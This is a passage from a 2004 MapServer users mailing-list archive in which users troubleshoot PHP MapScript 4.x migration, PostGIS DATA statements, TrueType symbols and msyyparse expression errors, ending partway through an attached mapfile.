$array_demo = ms_TokenizeMap("demo.map"); > > And I can look at the output array and all is well. > > Where I am having problems is that constants (like MS_PNG) are not > available. I get the following in my apache log when trying to access > MS_PNG: > > [Wed Mar 24 14:44:23 2004] [error] [client 129.95.72.84] PHP Notice: Use of > undefined constant MS_PNG - assumed 'MS_PNG' in > /src/mapserver_4_0_1/maplab/maplab-2.1-rc3/projects/gmf_apps/test3/globprefs > .php on line 126, referer: > http://129.95.72.140/maplab/projects/gmf_apps/test3/ > > Did something go wrong with my build or is there something obvious that I > missed when reading about version 4.x? Aaron, did you take a look at the 4.0 Migration Guide? A lot changed between 3.x and 4.x. Read through http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide . For example, $image_out = $image->saveImage('test',MS_PNG,0,0,0); is now implemented as $image_out = $image->saveImage('test') Something like that could be causing your current error. --Dylan -- ************************************************************** Dylan Keon - GIS/Database Specialist Northwest Alliance for Computational Science and Engineering Oregon State University Corvallis, OR 97331 keon at nacse.org voice: 541-737-6608 fax: 541-737-6609 http://gis.nacse.org ************************************************************** From aaronr at ccalmr.ogi.edu Wed Mar 24 15:42:30 2004 From: aaronr at ccalmr.ogi.edu (Aaron Racicot) Date: Wed, 24 Mar 2004 15:42:30 -0800 Subject: [Mapserver-users] Funny behavior in new 4.0.1 setup... In-Reply-To: <406218AE.4020800@nacse.org> Message-ID: <200403242342.i2ONgVr91068415@amb24.ccalmr.ogi.edu> Yes that was it... I read, but obviously not deep enough. The good reference page I missed on my first read was: http://www2.dmsolutions.ca/mapserver/dl/mapserver-4.x-PHP-MAPSCRIPT-README.t xt This clearly shows that the constants I am having trouble with are no longer there! Maybe someone could link this page to the Mapscript documentation page on MapTools.org? The latest version of documentation posted is 3.6.3, yet you can download 4.0.1. Thanks again for the help. Aaron -----Original Message----- From: Dylan Keon [mailto:keon at nacse.org] Sent: Wednesday, March 24, 2004 3:25 PM To: Aaron Racicot Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Funny behavior in new 4.0.1 setup... Aaron Racicot wrote: > Hello, > I am upgrading from an old Alpha with Mapserver 3.6 to a new setup: > > RedHat Enterprise Linux 3.0 AS on Intel Box (2.8gHz,1G,Dual 40G drives) > Mapserver/Mapscript - 4.0.1 > Postgresql - 7.4.2 > Postgis - 0.8.1 > PHP - 4.3.4 > Maplab - 2.1-rc3 > Chameleon 1.1alpha-20031031 > chameleon-sample - From MapTools.org > > The problem I am having has to do with my installation of Mapscript. Upon > doing a simple: > > dl("php_mapscript.so"); > > I am able to do a phpinfo() and see Mapserver installed and looking good. I > am even able to do things like: > > $array_demo = ms_TokenizeMap("demo.map"); > > And I can look at the output array and all is well. > > Where I am having problems is that constants (like MS_PNG) are not > available. I get the following in my apache log when trying to access > MS_PNG: > > [Wed Mar 24 14:44:23 2004] [error] [client 129.95.72.84] PHP Notice: Use of > undefined constant MS_PNG - assumed 'MS_PNG' in > /src/mapserver_4_0_1/maplab/maplab-2.1-rc3/projects/gmf_apps/test3/globprefs > .php on line 126, referer: > http://129.95.72.140/maplab/projects/gmf_apps/test3/ > > Did something go wrong with my build or is there something obvious that I > missed when reading about version 4.x? Aaron, did you take a look at the 4.0 Migration Guide? A lot changed between 3.x and 4.x. Read through http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide . For example, $image_out = $image->saveImage('test',MS_PNG,0,0,0); is now implemented as $image_out = $image->saveImage('test') Something like that could be causing your current error. --Dylan -- ************************************************************** Dylan Keon - GIS/Database Specialist Northwest Alliance for Computational Science and Engineering Oregon State University Corvallis, OR 97331 keon at nacse.org voice: 541-737-6608 fax: 541-737-6609 http://gis.nacse.org ************************************************************** From mgleahy at fes.uwaterloo.ca Thu Mar 25 00:36:48 2004 From: mgleahy at fes.uwaterloo.ca (Mike Leahy) Date: Thu, 25 Mar 2004 03:36:48 -0500 Subject: [Mapserver-users] MapSever41 with PostGIS? Message-ID: <1080203808.40629a2082c8d@www.nexusmail.uwaterloo.ca> Hello all, I'm wondering if there is a copy of the latest development version of MapServer/MapScript 4.1 compiled with the PostGIS option - or if one could be compiled sometime in the near future. I just downloaded the binaries that are available from http://www.maptools.org/php_mapscript/index.phtml? page=downloads.html. According to the changes in HISTORY.TXT, a problem that I have had trouble with for quite some time when trying to update PostgreSQL and PostGIS has been solved (http://mapserver.gis.umn.edu/bugs/show_bug.cgi? id=418). However, PostGIS was not included when the latest development package I found on the page above was compiled. I have an earlier version of 4.1 from last September, but it definitely does not include the fix for the bug I mentioned. The spatial functionality of later versions of PostGIS (now up to 0.8.1) far exceeds 0.7.5. Despite many attempts, I have yet to be fully successful at compiling MapServer and MapScript on my own, so I can only wait for binaries to be released. I appreciate any help that can be offered, Kind regards, Michael Leahy ---------------------------------------- This mail sent through www.mywaterloo.ca From samuzzal at linux.net Thu Mar 25 02:17:15 2004 From: samuzzal at linux.net (Sam Choudry) Date: Thu, 25 Mar 2004 02:17:15 -0800 (PST) Subject: [Mapserver-users] BASICS OF QUERYING Message-ID: <20040325101716.099733974@sitemail.everyone.net> Hello, I am a novice to Php-Mapscript and using it for about a month. I am able to do zooming, panning and also to display selected layers. Now I am trying my hands on two types of queries. a. attribute value will be providd by the user and the map will display those query areas. b. User will select a point on the map and the attribute value corrsponding to that point will be shown. (I am also thinking of rectangle selection) But I am very much confused on how to do it. Could anybody help me by providing me the primary knowledge of how a query can be implemented and some example codes for doing this. I will remain be grateful. Samuzzal Choudhury. _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From astrid.emde at ccgis.de Thu Mar 25 03:05:10 2004 From: astrid.emde at ccgis.de (Astrid Emde CCGIS) Date: Thu, 25 Mar 2004 12:05:10 +0100 (CET) Subject: [Mapserver-users] TrueTypeFont Symbols are not displayed Message-ID: <2442.192.168.2.111.1080212710.squirrel@vogon.ccgis.de> Hello list, I want to use TrueTypeFonts as Symbols. I have no problem to display "normal" TrueTypeFonts like arial.ttf, times.ttf. But my symbols are part of a TTF-File (ALEFBETN.ttf) that is somehow different. The symbols of the font can be displayed with HTML-Kit or Word, but when I want to display the font in my UMN project, only a square is displayed. Does anybody knows why the fontsymbols are not displayed? You can have a look at the project... http://wms.ccgis.de/mapbender/login.php?lingo=english user: umn password: umn The font can be downloaded: http://www.ccgis.de/download/alefbetn.ttf Thanks for your help. Astrid From knozi at gmx.at Thu Mar 25 03:33:51 2004 From: knozi at gmx.at (knozi) Date: Thu, 25 Mar 2004 12:33:51 +0100 Subject: [Mapserver-users] postgis data statement Message-ID: <200403251134.i2PBYAEe009569@lists.gis.umn.edu> hi list, i've some problems with a postgis data statement. DATA "the_geom from (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case when td_samplesite.maxdepth > 1000 then 1 when td_samplesite.maxdepth > 500 then 2 else 3 end as myclass from gd_world_samplesite,td_samplesite where gd_world_samplesite.ssid = td_samplesite.samplesiteid) as foo using unique gd_world_samplesite.oid using SRID=4326" when I execute the statement in postgres it works fine, but mapserver cannot handle it. The funny thing is that a similar statement on the same server, but accessing another database, works. I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. any hints? thanks, gernot From jjahn at et-inf.fho-emden.de Thu Mar 25 04:11:03 2004 From: jjahn at et-inf.fho-emden.de (jjahn at et-inf.fho-emden.de) Date: Thu, 25 Mar 2004 13:11:03 +0100 Subject: [Mapserver-users] Problems with queryMap and style = hilite Message-ID: <1080216663.4062cc5773625@secure.et-inf.fho-emden.de> Hi, I get an error when I want do draw a queryMap when style=hilite or style = selected. I use perl mapscript queryByRect of one layer and the results I get are right. The queryMap is drawn as long as the queryMap style is set to normal. The queryMap is drawn too as long as the queryMap style is set to hilite and numresults = 1. Please help me ! ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From BVT at sns.dk Thu Mar 25 05:30:52 2004 From: BVT at sns.dk (Thomsen, Bo Victor) Date: Thu, 25 Mar 2004 14:30:52 +0100 Subject: SV: [Mapserver-users] TrueTypeFont Symbols are not displayed Message-ID: <5C983F967E4FA04F8CB4E10EEB4924E7101AF7@snsc-ex001.sns.adroot.dk> Hello Astrid - The font you are using is probably a "symbol" TrueType font. The characters in such font is not numbered from 0 but from 61440. Try adding 61440 to the character value for the symbol you want to draw, i.e.: >From symbol file: SYMBOL NAME "test_tt" TYPE TRUETYPE FONT "TTMITC__" FILLED true ANTIALIAS true # Using symbol no 47 from MI transportation: 61440 + 47 = 61487 CHARACTER "" END Kind regards Bo Thomsen GeoConsult I/S Denmark -----Oprindelig meddelelse----- Fra: Astrid Emde (CCGIS) [mailto:astrid.emde at ccgis.de] Sendt: 25. marts 2004 12:05 Til: mapserver-users at lists.gis.umn.edu Emne: [Mapserver-users] TrueTypeFont Symbols are not displayed Hello list, I want to use TrueTypeFonts as Symbols. I have no problem to display "normal" TrueTypeFonts like arial.ttf, times.ttf. But my symbols are part of a TTF-File (ALEFBETN.ttf) that is somehow different. The symbols of the font can be displayed with HTML-Kit or Word, but when I want to display the font in my UMN project, only a square is displayed. Does anybody knows why the fontsymbols are not displayed? You can have a look at the project... http://wms.ccgis.de/mapbender/login.php?lingo=english user: umn password: umn The font can be downloaded: http://www.ccgis.de/download/alefbetn.ttf Thanks for your help. Astrid _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From m_langner at web.de Thu Mar 25 05:36:22 2004 From: m_langner at web.de (Michael Langner) Date: Thu, 25 Mar 2004 14:36:22 +0100 Subject: [Mapserver-users] Change color of queried object ?! Message-ID: Hallo Mapserver Users, my problem is, that i dont know how i can change the color of a queried object. I use php_mapscript and mapserver 4. Can somebody help me to solve my problem ? Ciao + Thanks From David.Fawcett at state.mn.us Thu Mar 25 06:56:04 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Thu, 25 Mar 2004 08:56:04 -0600 Subject: [Mapserver-users] Change color of queried object ?! Message-ID: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#querymap See STYLE Hilite. >>> "Michael Langner" 3/25/2004 7:36:22 AM >>> Hallo Mapserver Users, my problem is, that i dont know how i can change the color of a queried object. I use php_mapscript and mapserver 4. Can somebody help me to solve my problem ? Ciao + Thanks _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Ballini.Yvain at seat.it Thu Mar 25 07:04:37 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Thu, 25 Mar 2004 16:04:37 +0100 Subject: [Mapserver-users] Url-defined symbol Message-ID: <4B1A1EC0790F054193453C48725D431829F9F3@MSGBE1V1.seat.it> Hi List, I would like to add some feature on my url in order to show dynamically a symbol on my map : tipically, I would like to show a crosshair, setting its ccordinates in the url. For doing it I've added in my map file a layer definition like that: LAYER NAME pallino TYPE POINT STATUS ON FEATURE POINTS END END CLASS NAME "pallino" SYMBOL "pallino" END END And I call this layer like this in the Url: ".../scripts/mapserv.exe?mode=map&layer=vie_navtech&layer=pallino&zoomdi r=0&imgxy=415+390&imgext=515305+5036405+516270+5037259&imgsize=630+580&m ap_pallino_class=new&map_pallino_class_points=515800+5036800&map=e%3A%5C mapserver%5Citasca%5Cdemo.map" With this url, I'm expecting to see a symbol "pallino" quite in the center of my map but I don't see anything execpt the other layer (vie_navtech). Could someone tell me where I'm wrong, and how I should do in order to show correctly my symbol? Thanks a lot ! Yvain. From Zamil.Murji at divestco.com Thu Mar 25 07:20:56 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Thu, 25 Mar 2004 08:20:56 -0700 Subject: [Mapserver-users] postgis data statement Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABEA4@DIV-MX02.divestco> hi, Maybe it isn't the data statement that is hooped. Maybe you don't have the proper permissions set for the database. Does the user/password that you supply to your connection string work? Is it a TRUSTed user? Maybe you need to give the box that mapserver is installed on TRUSTed access to that postgres db. Take a look at your pg_conf.hba file (i think that is what it is called). Hope this helps. Zamil -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi Sent: Thursday, March 25, 2004 4:34 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] postgis data statement hi list, i've some problems with a postgis data statement. DATA "the_geom from (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case when td_samplesite.maxdepth > 1000 then 1 when td_samplesite.maxdepth > 500 then 2 else 3 end as myclass from gd_world_samplesite,td_samplesite where gd_world_samplesite.ssid = td_samplesite.samplesiteid) as foo using unique gd_world_samplesite.oid using SRID=4326" when I execute the statement in postgres it works fine, but mapserver cannot handle it. The funny thing is that a similar statement on the same server, but accessing another database, works. I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. any hints? thanks, gernot _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nacional at cbs.umn.edu Thu Mar 25 07:51:48 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Thu, 25 Mar 2004 09:51:48 -0600 (CST) Subject: [Mapserver-users] postgis data statement In-Reply-To: <64FC1B3E23F04C4E931EE3F6D809FF303ABEA4@DIV-MX02.divestco> References: <64FC1B3E23F04C4E931EE3F6D809FF303ABEA4@DIV-MX02.divestco> Message-ID: Gernot, Zamil is correct. If the SQL statement worked in psql (or some other frontend), it should work in MapServer. If not, the first place to check would be your PostgreSQL configuration and permissions. If your database is running remotely you might want to check that you have configured postgres to accept remote connections. If that is the case, try connecting as postgres (or whatever pg admin account you created). If it works, read the PostgreSQL docs for adding users. Sometimes it's just a matter of giving an existing database user select privileges on your postgis tables. I've posted other messages to related questions in the past. Have a look at the MapServer-users archive as I don't have a browser open. Cheers! Pericles S. Nacionales nacional at biosci.umn.edu On Thu, 25 Mar 2004, Zamil Murji wrote: > hi, > > Maybe it isn't the data statement that is hooped. Maybe you don't have the proper permissions set for the database. Does the user/password that you supply to your connection string work? Is it a TRUSTed user? Maybe you need to give the box that mapserver is installed on TRUSTed access to that postgres db. Take a look at your pg_conf.hba file (i think that is what it is called). > > Hope this helps. > Zamil > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi > Sent: Thursday, March 25, 2004 4:34 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] postgis data statement > > > hi list, > i've some problems with a postgis data statement. > > DATA "the_geom from > (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case > when td_samplesite.maxdepth > 1000 then 1 > when td_samplesite.maxdepth > 500 then 2 > else 3 > end as myclass > from gd_world_samplesite,td_samplesite where > gd_world_samplesite.ssid = td_samplesite.samplesiteid) > as foo using unique gd_world_samplesite.oid using SRID=4326" > > when I execute the statement in postgres it works fine, but mapserver cannot > handle it. > The funny thing is that a similar statement on the same server, but > accessing another database, works. > > I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. > > any hints? > > thanks, > gernot > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From TMitchell at lignum.com Thu Mar 25 08:30:48 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 25 Mar 2004 08:30:48 -0800 Subject: [Mapserver-users] User-mode linux Message-ID: Any running Mapserver under user-mode linux (UML)? I'm particularly interested to know if any mapserver users have multiple UML's running with open source GIS stuff on them? From dmorissette at dmsolutions.ca Thu Mar 25 08:56:45 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 25 Mar 2004 11:56:45 -0500 Subject: [Mapserver-users] Funny behavior in new 4.0.1 setup... In-Reply-To: <200403242342.i2ONgVr91068415@amb24.ccalmr.ogi.edu> References: <200403242342.i2ONgVr91068415@amb24.ccalmr.ogi.edu> Message-ID: <40630F4D.9050909@dmsolutions.ca> Aaron Racicot wrote: > Yes that was it... I read, but obviously not deep enough. The good > reference page I missed on my first read was: > > http://www2.dmsolutions.ca/mapserver/dl/mapserver-4.x-PHP-MAPSCRIPT-README.t > xt > > This clearly shows that the constants I am having trouble with are no longer > there! Maybe someone could link this page to the Mapscript documentation > page on MapTools.org? The latest version of documentation posted is 3.6.3, > yet you can download 4.0.1. > Thanks for pointing that... we'll have the maptools website updated with the 4.0 docs. Note that you can also get the 4.0 PHP MapScript docs on the UMN site at http://mapserver.gis.umn.edu/doc40/phpmapscript-class-guide.html -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Cedric.Moeri at bd.so.ch Thu Mar 25 09:09:35 2004 From: Cedric.Moeri at bd.so.ch (=?ISO-8859-1?Q?M=F6ri_C=E9dric?=) Date: Thu, 25 Mar 2004 18:09:35 +0100 Subject: [Mapserver-users] msyyparse() - parse error Message-ID: <5B025B1F39D6D4119F5700508BEEEC6601423324@srsofaioi4546.ktso.ch> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C4128B.F2CCF910 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hi Steve, hi list the code works fine and was very useful! Many thanks for the quick = response! That's what I love about mailing list and open source! The error shows now like this: msyyparse(): Expression parser error. Error is 'parse error' in = expression ((("BS" =3D "GA") OR ("BS" =3D "GV") OR ("BS" =3D "GH") OR ("BS" =3D = "GS")) AND ("F" =3D "T") AND (0 > 100) AND (0 <=3D 250). Quiet easy to see that there is one opening parenthesis too much. Sadly = this error belongs not to my project. My error reads now like this: msyyparse(): Expression parser error. Error is 'parse error' in = expression 40 =3D foo. This is quite useful to find the ofending layer, but I'm not = understanding what's wrong with it. I just see it doesn't match. My guess is, that = the parser dies because he got an alphanumeric and I think he's expecting a numeric value. If this is correct I would suggest not to throw an error = but a simple "not matching". I use this syntax often to generate an item in = a legend, that I don't want to have in the map itsself.=20 I changed from the 'EXPRESSION ([COLOR] =3D 4)' to 'EXPRESSION "4"' = with a CLASSITEM "COLOR" and now the error doesn't pop up. That about this parser error thing. Sadly engouh the project still = doesn't work.=20 The error doesn't show up but I no map at all. The error log file = simply shows time an ip, but no error message at all (apache log shows = nothing). As I mentioned in the older mails, this behaviour is rather at random. Sometimes it works perfect and then just nothing happens.=20 I tried to convert my data from postgis to shapefiles but it didn't = matter. As far as we know is this error influenced by LABELCACHE ON/OFF, POSTLABELCACHE ON/OFF, which layers are STATUS ON/OFF, order of the = layers in the mapfile etc.=20 Sometimes I find a set with lets say for layer off that works fine. If = I turn one of this layer on, it won't work. The next time I find another = set with just this layers on, workin without problems. Additionally most of = this layers are involved in other projects on the same box an they work just fine.=20 I know, this error description is rahter confused and so I am. So any = hint will be helpful. I attach my mapfile to this mail, hoping some finds = the point, that I'm so obviously missing! Thanks a lot to all! best regards C=E9dric > -----Original Message----- > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] > Sent: Wednesday, March 24, 2004 7:41 PM > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] msyyparse() - parse error >=20 >=20 > I can check on the error message detail. The parser works on tokens > and may not have access to the entire expression text. >=20 > A quick peek tells me that we'd need to exit the msyyerror function = at > the bottom of maplexer.l, and then recompile. >=20 > Try editing that function and changing: >=20 > int msyyerror(char *s) { > msSetError(MS_PARSEERR, s, "msyyparse()"); > return(0); > } >=20 > to >=20 > int msyyerror(char *s) { > msSetError(MS_PARSEERR, "Error is '%s' in expression %s.",=20 > "msyyparse()", s, msyystring); > return(0); > } >=20 > I've not tested but this should work. Let me know if that=20 > helps debug. If so I'll make that change in CVS... >=20 > Steve >=20 > >>> M=F6ri C=E9dric 3/24/2004 9:38:19 AM >>> > Hi list! >=20 > i'm still stuck on this problem. So my question for the moment is the > following: >=20 > Is it possible to have an error message with a little more=20 > information? > For the moment it only tells me "msyyparse(): Expression=20 > parser error. parse > error".=20 >=20 > It would be great to have a filename and a line/record number=20 > or at least a > some twenty characters of the ofending data or expression. It=20 > would be much > more easier to investigate the error. >=20 > Is this already possible (through some debug-level or other=20 > switches I don't > know about) or would it be a big challenge to add such a feature? >=20 > best regards > C=E9dric >=20 > > -----Original Message----- > > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]=20 > > Sent: Monday, March 22, 2004 5:38 PM > > To: Cedric.Moeri at bd.so.ch; mapserver-users at lists.gis.umn.edu=20 > > Subject: Re: [Mapserver-users] msyyparse() - parse error > >=20 > >=20 > > Hi there: Msyyparse() is the function that evaluates=20 > > MapServer expressions. There > > are 3 possibilities:=20 > >=20 > > 1) There is an error in the expression you're using. > > 2) There is something funky in your data, that breaks an = expression. > > 3) There is an error in the code itself. > >=20 > > Although 1) and 3) are possible they seem unlikely. My guess=20 > > is that there is an > > issue with certain data values and the expressions. One=20 > > example would be > > data values containing embeded quotes. Let's say you had a=20 > place name > > called O'Reilly and where using an expression like: > >=20 > > ('[placename]' =3D 'foo') which would become in the case of = O'Reilly, > >=20 > > ('O'Reilly' =3D 'foo') and this would cause a parse error.=20 > >=20 > > Could also happen with numeric fields that didn't contain=20 > > numbers or are empty. > > We'd really need to see your mapfile to make the call. > >=20 > > Steve > >=20 > > >>> M=F6ri C=E9dric 3/22/2004 4:27:42 AM = >>> > > Hello list! > >=20 > > we recently upgraded our systems from > > MapServer3.6.6/postgreSQL7.2.4/postgis0.8.0 to > > MapServer4.0.1/postgreSQL7.4.2/postgis0.8.1. The system is=20 > > running under > > Linux RH7.2. > >=20 > > Now i'm reciving sometimes this strange error "msyyparse():=20 > Expression > > parser error. parse error". > > (In the old version, everyting worked perfect!) > >=20 > > I'm not able to reproduce this error regularly. Sometimes it=20 > > triggers when > > i'm switching some layers on/off, sometimes it triggers when=20 > > i'm just paning > > (same layer-set/same scale). Sometimes it triggers only one=20 > > time, othertimes > > up to 60 times with still the same mapfile.=20 > >=20 > > I read from the archives that there might be some issue about=20 > > the querrying > > in postgis but there is not much more. > >=20 > > So I guess I'm stuck. Has anybody a hint for me in which=20 > > direction to go on > > with my quest? May anybody explain what the msyyparse does,=20 > > and when it is > > called? > >=20 > > Any hint would be appreciated! > > If needed I would be glad to provide further information. > >=20 > > best regards > > mit freundlichen Gr=FCssen > >=20 > > C=E9dric M=F6ri > >=20 > > ******************************************** > > Kanton Solothurn > > Amt f=FCr Geoinformation > > Abt. SO!GIS Koordinationsstelle=20 > > R=F6tihof > > 4509 Solothurn > > T: ++41 (0)32 627 2475 > > Fax: ++41 (0)32 627 2214=20 > > http://www.sogis.so.ch=20 > > ******************************************** > >=20 > >=20 > >=20 > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu=20 > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users=20 > >=20 >=20 > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu=20 > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >=20 ------_=_NextPart_000_01C4128B.F2CCF910 Content-Type: application/octet-stream; name="strada.map" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="strada.map" NAME STRADA=0A= STATUS ON=0A= #SIZE 666 594 # if the size entry is deleted, it can be set via the = URL=0A= SYMBOLSET = "/opt/wwwroot/sogis/develop/cmoe/MapServer/etc/symbols/symbols.neu"=0A= EXTENT 590000 190000 650000 265000=0A= UNITS METERS=0A= SIZE 200 200=0A= SHAPEPATH "/opt/wwwroot/sogis/daten/"=0A= IMAGECOLOR 255 255 255=0A= FONTSET = "/opt/wwwroot/sogis/develop/cmoe/MapServer/etc/fonts/fonts.list"=0A= RESOLUTION 82=0A= IMAGETYPE GIF=0A= INTERLACE OFF=0A= DATAPATTERN ".*"=0A= TEMPLATEPATTERN ".*"=0A= #=0A= # Start of web interface definition=0A= #=0A= WEB=0A= HEADER = "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/header.html"=0A= TEMPLATE = "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/template.html"=0A= FOOTER = "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/footer.html"=0A= MINSCALE 100=0A= MAXSCALE 1550000=0A= IMAGEPATH "/opt/wwwroot/sogis/gifs/"=0A= IMAGEURL "/sogis/gifs/"=0A= LOG "/opt/wwwroot/sogis/MapServer/etc/log/MapServer.log"=0A= # EMPTY = "/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/empty.html"=0A= # ERROR = "http://srsofaioi4531/sogis/develop/cmoe/MapServer/fr_map/error.html"=0A= END=0A= QUERYMAP=0A= SIZE 800 800=0A= STATUS ON=0A= STYLE selected=0A= COLOR 255 0 0=0A= END=0A= #=0A= # Start of legend=0A= #=0A= LEGEND=0A= KEYSIZE 30 20=0A= LABEL=0A= TYPE TRUETYPE=0A= ANTIALIAS TRUE=0A= FONT arial=0A= COLOR 0 0 0 =0A= SIZE 11=0A= END=0A= TEMPLATE = '/opt/wwwroot/sogis/develop/cmoe/MapServer/fr_map/legend_view_template.h= tml' =0A= STATUS ON=0A= END=0A= #=0A= # Start of scalebar=0A= #=0A= SCALEBAR=0A= IMAGECOLOR 255 255 255=0A= LABEL=0A= COLOR 0 0 0=0A= SIZE SMALL=0A= END #LABEL=0A= SIZE 200 5=0A= COLOR 0 0 0=0A= BACKGROUNDCOLOR 255 255 255=0A= OUTLINECOLOR 0 0 0=0A= UNITS meters=0A= INTERVALS 3=0A= STATUS ON=0A= END #SCALEBAR=0A= =0A= #PROJECTION=0A= # "init=3DEPSG:9814"=0A= #END=0A= LAYER=0A= NAME polysearch=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION 'dbname=3Dfoo host=3Dbar user=3Dfoobar '=0A= DATA "dummy"=0A= TYPE POLYGON=0A= TEMPLATE "" =0A= #DEBUG ON=0A= CLASS =0A= NAME "objekt"=0A= OUTLINECOLOR 255 0 0=0A= SIZE 7=0A= SYMBOL 7=0A= LABEL=0A= TYPE TRUETYPE=0A= FONT arial=0A= POSITION CC=0A= SIZE 16=0A= COLOR 147 231 0 =0A= OUTLINECOLOR 0 0 0 =0A= FORCE true=0A= OFFSET 0 0=0A= END=0A= END=0A= END=0A= =0A= ## ADRESSE ####################################=0A= LAYER=0A= NAME adressepoint ##=0A= STATUS OFF=0A= DATA ""=0A= TYPE POINT=0A= LABELITEM "LABEL"=0A= LABELCACHE ON=0A= POSTLABELCACHE TRUE=0A= CLASSITEM "PROG_ID"=0A= CLASS=0A= NAME "green"=0A= EXPRESSION "1"=0A= SYMBOL "Feature_green"=0A= COLOR 0 0 0=0A= SIZE 40=0A= LABEL=0A= COLOR 0 0 0 =0A= POSITION ur=0A= SIZE 14=0A= OFFSET 17 17=0A= TYPE truetype=0A= FONT arial=0A= ANTIALIAS TRUE=0A= OUTLINECOLOR 0 255 0=0A= BACKGROUNDCOLOR 255 255 204=0A= END =0A= END=0A= CLASS=0A= NAME "red"=0A= EXPRESSION "0"=0A= SYMBOL "Feature_red"=0A= COLOR 0 0 0=0A= SIZE 40=0A= LABEL=0A= COLOR 0 0 0 =0A= POSITION ur=0A= SIZE 14=0A= OFFSET 17 17=0A= TYPE truetype=0A= FONT arial=0A= ANTIALIAS TRUE=0A= OUTLINECOLOR 255 0 0=0A= BACKGROUNDCOLOR 255 255 204=0A= END =0A= END=0A= CLASS=0A= NAME "red_pnt"=0A= EXPRESSION "2"=0A= SYMBOL 7=0A= COLOR 255 0 0=0A= SIZE 15=0A= END =0A= CLASS=0A= NAME "green_pnt"=0A= EXPRESSION "3"=0A= SYMBOL 7=0A= COLOR 0 255 0=0A= SIZE 15=0A= END =0A= END=0A= =0A= =0A= ## ORTHOFOTO #######################=0A= LAYER=0A= MINSCALE 500=0A= MAXSCALE 25000=0A= NAME Orthofoto #Orthofoto 2002=0A= STATUS ON=0A= TILEINDEX sogis/pixelkarten/ortho02_idx=0A= TILEITEM LOCATION=0A= TYPE RASTER=0A= END=0A= =0A= =0A= =0A= ## HINTERGRUNDKARTE SITUATION ###################=0A= LAYER=0A= NAME pk #Hintergrundkarte# #=0A= STATUS ON=0A= TYPE RASTER=0A= MAXSCALE 10000=0A= TILEINDEX sogis/pixelkarten/uep_idx=0A= TILEITEM LOCATION=0A= OFFSITE 255 255 255=0A= END=0A= LAYER=0A= NAME pk #Hintergrundkarte# #=0A= STATUS ON=0A= MINSCALE 10000=0A= MAXSCALE 35000=0A= TILEINDEX sogis/pixelkarten/pk25cm_idx.shp=0A= TILEITEM LOCATION=0A= TYPE RASTER=0A= CLASS=0A= NAME "Situation"=0A= EXPRESSION "6"=0A= COLOR 0 0 0=0A= END=0A= OFFSITE 255 255 255=0A= END =0A= LAYER=0A= NAME pk #Hintergrundkarte# #=0A= STATUS ON=0A= MINSCALE 35000=0A= MAXSCALE 40000=0A= TILEINDEX sogis/pixelkarten/pk50cm_idx.shp=0A= TILEITEM LOCATION=0A= TYPE RASTER=0A= CLASS=0A= NAME "Situation"=0A= EXPRESSION "7"=0A= COLOR 0 0 0=0A= END =0A= OFFSITE 255 255 255=0A= END =0A= LAYER=0A= NAME pk #Hintergrundkarte# #=0A= STATUS ON=0A= MINSCALE 40000=0A= MAXSCALE 150000=0A= TILEINDEX sogis/pixelkarten/pk100cm_idx.shp=0A= TILEITEM LOCATION=0A= TYPE RASTER=0A= CLASS=0A= NAME "Situation"=0A= EXPRESSION "7"=0A= COLOR 0 0 0=0A= END 